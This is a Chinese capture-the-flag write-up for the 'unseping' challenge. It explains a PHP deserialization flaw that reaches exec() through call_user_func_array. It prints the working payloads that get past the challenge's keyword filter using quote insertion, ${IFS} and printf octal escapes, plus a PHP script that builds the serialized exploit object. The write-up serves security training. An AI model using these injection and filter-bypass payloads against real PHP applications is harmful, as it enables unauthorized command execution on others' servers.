【攻防世界】unseping (反序列化与Linux bash shell)

简介: 【攻防世界】unseping (反序列化与Linux bash shell)

打开题目环境:

1、进行PHP代码审计,通过审计得知需要用到PHP反序列化。找到输出flag的位置为 ping()函数。通过使用 exec() 函数来执行 $ip 并将结果保存在 $result 中,最终输出 $result。

2、接着寻找给 $ip 传参的位置,发现通过析构函数 _destruct() 来调用 ping()函数 并给 $ip 传参。

in_array($this->method, array("ping")) 检查 $this->method 的值是否等于 "ping"

若相等则调用 call_user_func_array(array($this, $this->method), $this->args); 它接受两个参数:第一个参数是一个包含类名和方法名的数组,第二个参数是一个包含方法参数的数组。在这个例子中,$this表示当前对象,$this->method表示要调用的方法名,$this->args表示传递给该方法的参数数组。我们只需要让 $this->method = "ping",让 $this->args等于我们想要执行的指令,这个函数就会调用 ping()函数 并将 $this->args 赋值给 $ip。

3、在进行反序列化时会自动调用PHP魔术方法_wakeup()函数。发现_wakeup()函数中调用了 waf()函数对 $ip 中的敏感字符  空格、|、cat、flag、ls等关键查询字符进行了过滤,我们需要考虑绕过的操作。


我们先对 $method 和 $args 进行赋值:

$method = "ping";  //在调用析构函数时调用 ping()函数
$args = array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp');

注意在 call_user_func_array()函数中的第二个参数 $this->args 的数据类型是一个数组。

在来分析对 $args 中的值的绕过方法:

首先对 $args 赋值:

$args = array('l""s');

通过在 ls 之间插入两个双引号来绕过 对关键字 "ls" 的过滤。

在 HackBar 中用 POST 方法进行提交,得到结果如下图:

使用 ls 查看当前目录下的文件夹和文件,发现文件夹 flag_1s_here 和php文件 index.php。flag很可能在 flag_1s_here中。

对$args重新赋值,查看 flag_1s_here 目录下的子文件:

$args = array('l""s${IFS}f""lag_1s_here');

${IFS} 是一个特殊的变量,用于定义 Bash shell 中字段分隔符的默认值。默认情况下,它的值为空格、制表符、和换行符。

利用 ls flag_1s_here 指令查看flag_1s_here 目录下的子文件,得到结果如下图:

发现了存储flag的文件,现通过再次改变 $args 的值进入 flag_1s_here 对这个文件进行查询。

$args = array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp');

关于 $(printf${IFS}"/57")的解释如下图:

cat flag_1s_here /flag_831b69012c67b35f.php 查看flag_1s_here目录下的flag_831b69012c67b35f.php文件。

执行结果如下图:

成功拿到 flag。


下图给出序列化脚本:

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    
}
    $test = new ease("ping", array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
    //$test = new ease("ping", array('l""s${IFS}f""lag_1s_here'));
    $new = serialize($test);
    print(base64_encode($new));
    echo "\n";
    print($new);
    
?>
相关文章
|
6天前
|
Shell Linux 程序员
【Linux】Shell 命令以及运行原理
【Linux】Shell 命令以及运行原理
|
7天前
|
Shell Linux
【linux课设】自主实现shell命令行解释器
【linux课设】自主实现shell命令行解释器
|
7天前
|
存储 Unix Linux
linux权限管理以及shell
linux权限管理以及shell
|
8天前
|
运维 Linux Shell
day02-Linux运维-系统介绍与环境搭建_硬件 系统核心 解释器shell 外围操作系统
day02-Linux运维-系统介绍与环境搭建_硬件 系统核心 解释器shell 外围操作系统
|
13天前
|
Shell Linux Perl
Linux|如何允许 awk 使用 Shell 变量
Linux|如何允许 awk 使用 Shell 变量
22 2
|
13天前
|
网络协议 Shell Linux
LabVIEW 在NI Linux实时设备上访问Shell
LabVIEW 在NI Linux实时设备上访问Shell
17 0
|
13天前
|
Shell Linux
【Linux】进程实践项目(更新中) — 自主shell编写
前几篇文章,我们学习进程的相关知识:进程概念,进程替换,进程控制。熟悉了进程到底是个什么事情,接下来我们来做一个实践,来运用我们所学的相关知识。这个项目就是手搓一个shell模块,模拟实现Xshell中的命令行输入。
16 1
|
13天前
|
Shell Linux 信息无障碍
5 个有用的 Linux Shell 转义序列
5 个有用的 Linux Shell 转义序列
|
13天前
|
Shell Linux 编译器
C语言,Linux,静态库编写方法,makefile与shell脚本的关系。
总结:C语言在Linux上编写静态库时,通常会使用Makefile来管理编译和链接过程,以及Shell脚本来自动化构建任务。Makefile包含了编译规则和链接信息,而Shell脚本可以调用Makefile以及其他构建工具来构建项目。这种组合可以大大简化编译和构建过程,使代码更易于维护和分发。
31 5
|
13天前
|
Linux Shell 程序员
【Linux】权限(shell运行原理、概念,Linux权限)
【Linux】权限(shell运行原理、概念,Linux权限)
20 2